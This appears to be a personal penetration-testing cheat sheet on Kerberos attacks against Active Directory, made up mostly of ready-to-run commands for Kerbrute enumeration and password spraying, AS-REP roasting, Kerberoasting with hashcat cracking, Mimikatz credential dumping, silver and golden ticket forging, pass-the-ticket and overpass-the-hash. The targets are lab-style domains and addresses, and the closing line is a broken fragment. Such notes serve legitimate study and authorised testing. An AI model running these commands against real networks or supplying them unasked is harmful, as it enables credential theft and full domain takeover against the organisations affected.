kei5uke

Kerberos Attacks

Properties2
tagsactivedirectory, kerberos, port-88
aliasesKerberos, AS-REP, Kerberoasting, Golden Ticket, Silver Ticket, Pass-the-Ticket

2 min read

🎟️ Kerberos Attacks — Port 88

Crack the resulting hashes in hash-cracking (modes 18200 AS-REP, 13100 TGS).

User enumeration (Kerbrute)

kerbrute -domain hutch.offsec -users ./users.txt -dc-ip 192.168.219.122
./kerbrute userenum --dc CONTROLLER.local -d CONTROLLER.local Users.txt
.\kerbrute_windows_amd64.exe passwordspray -d corp.com .\usernames.txt "Nexus123!"

AS-REP Roasting

When: an account has “Do not require Kerberos pre-auth” set. Goal: request its AS-REP and crack it offline.

# request the hash
impacket-GetNPUsers -dc-ip 192.168.50.70 -request -outputfile hashes.asreproast corp.com/pete
# crack it
hashcat -m 18200 hashes.asreproast rockyou.txt -r best64.rule --force
# Windows alternative
.\Rubeus.exe asreproast /nowrap

Kerberoasting

When: you have any domain creds and a service account has an SPN. Goal: request its TGS and crack the service password offline.

# request (Windows)
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
# request (Kali)
sudo impacket-GetUserSPNs -request -dc-ip 192.168.50.70 corp.com/pete
# crack
hashcat -m 13100 hashes.kerberoast rockyou.txt -r best64.rule --force

Silver ticket

When: you have a service account’s NTLM/RC4 hash. Goal: forge a TGS for that one service — no DC contact needed.
Need: SPN password hash + domain SID + target SPN.

  1. Get the service account’s NTLM hash (Mimikatz): 
    privilege::debug
sekurlsa::logonpasswords          # e.g. the iis_service NTLM
  2. Get the domain SID (drop the last RID): 
    whoami /user
  3. Forge and inject the ticket (Mimikatz): 
    kerberos::golden /sid:S-1-5-21-... /domain:corp.com /ptt /target:web04.corp.com /service:http /rc4:4d28cf52... /user:jeffadmin
  4. Use it: 
    iwr -UseDefaultCredentials http://web04       # or:  dir \\web04\

Golden ticket

When: you have the krbtgt hash (e.g. from a DC). Goal: forge a TGT for anyone — full domain persistence.

  1. Dump the krbtgt NTLM hash (Mimikatz): 
    lsadump::lsa /patch
  2. Purge existing tickets, then forge and inject: 
    kerberos::purge
kerberos::golden /user:jen /domain:corp.com /sid:S-1-5-21-... /krbtgt:1693c6ce... /ptt
  3. Drop to a command context and use it: 
    misc::cmd
PsExec.exe \\dc1 cmd.exe

Pass-the-Ticket

When: you can read Kerberos tickets from memory. Goal: reuse an existing TGT/TGS.

  1. Export tickets (Mimikatz), then list the .kirbi files: 
    sekurlsa::tickets /export
    dir *.kirbi
  2. Inject one and confirm: 
    kerberos::ptt [0;12bd0]-0-0-...-dave@cifs-web04.kirbi
    klist
dir \\web04\backup

Overpass-the-Hash (NTLM → Kerberos)

When: you have a user’s NTLM hash and want a Kerberos logon instead of PtH.

sekurlsa::pth /user:jen /domain:corp.com /ntlm:369def79... /run:powershell

") belong to Domain Admins / Enterprise Admins / Administrators and enable DCSync — see tools.

Graph View